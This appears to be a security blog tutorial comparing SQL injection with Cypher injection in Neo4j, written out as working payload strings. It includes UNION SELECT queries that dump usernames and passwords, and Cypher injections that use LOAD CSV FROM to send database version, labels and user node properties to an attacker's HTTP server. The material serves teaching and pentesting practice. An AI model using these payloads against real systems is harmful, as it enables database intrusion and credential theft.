intro

Neo4j is a highly popular and widely used graph database management system. It is built using the property graph model, which allows for highly efficient storage, retrieval, and manipulation of complex and highly connected data. With its powerful graph algorithms and querying capabilities, Neo4j is often used for applications such as recommendation engines, fraud detection, social networking, and more. Neo4j is designed to handle massive amounts of data, and it is known for its high performance and scalability. It is often used in industries such as finance, healthcare, and e-commerce, where real-time access to highly connected data is crucial. Neo4j provides a robust set of tools for developers and analysts to work with graph data. These tools include a powerful query language called Cypher, a user-friendly web-based interface called Neo4j Browser, and a rich ecosystem of libraries, connectors, and plugins. In this case study, we’ll look at some neo4j equivalent of query injection attack techniques.

neo4j comparing to sqli

SQL: For SQL injection, it is a common thing to first identify what triggers the injection, for example using the following techniques

# trigger using single/double quote
' <injection>

# logic bypass
' or 1=1 <injection>

neo4j: In neo4j, a similar logic follows:

' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //
'=' {…} WITH 0 as _l00 RETURN 1 //

You can find an exhausted list of injection techniques on: https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j

SQL: After finding the injection trigger, in sqli, one usually need to find out more about the returned data structure and which field can be used to view the returned data.

# use order by to identify how many result fields are returned
# -- - is for commenting out any following statements behind
' order by 11;-- -

# then, we can use union select to find out which field can be used to show the returned data
' union select 1,2,3,4,5,6,7;-- -
# if the web ui shows any of the number, it means we can use the corresponding numbered field as an output for our injection

neo4j: In neo4j, a similar approach can be use to return the information, but with the convenience of the tool, we can exfiltrate the result to our http server. The following utilized a built-in keyword LOAD CSV FROM 'http://,<attacker>>/?version=' to exfiltrate data.

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://,<attacker>>/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

SQL: then, in sqli, in order to find something usefull (e.g the user’s password), we often need to map out the table structure and column names

# To find out the table names
' union select 1,2,(select group_concat(table_name separator '|') from information_schema.tables),4,5,6,7;-- -

# then, to find out the column names of a target table, e.g user
' union select 1,2,(select group_concat(column_name separator '|') from information_schema.columns where table_name='user'),4,5,6,7 from information_schema.tables;-- -

# and finally, the values
' union select 1,2,(select group_concat(concat(username,'|',password) separator ';') from user),4,5,6,7 from information_schema.tables;-- -

For a real case study, you can read my writeup on one of the retired HTB challenges: https://meowmeowattack.github.io/htb/shared/

neo4j: in neo4j, things are not that complex, as the syntax simplified many things. Instead of using tables, there is the concept of labels that resides within db.labels().

> ' OR 1=1 WITH 1337 AS x CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://<ip>/?'+d AS y RETURN 0 as _0//

neo4j: likewise, the values can be exfiltrated as well

> ' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://<ip>/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //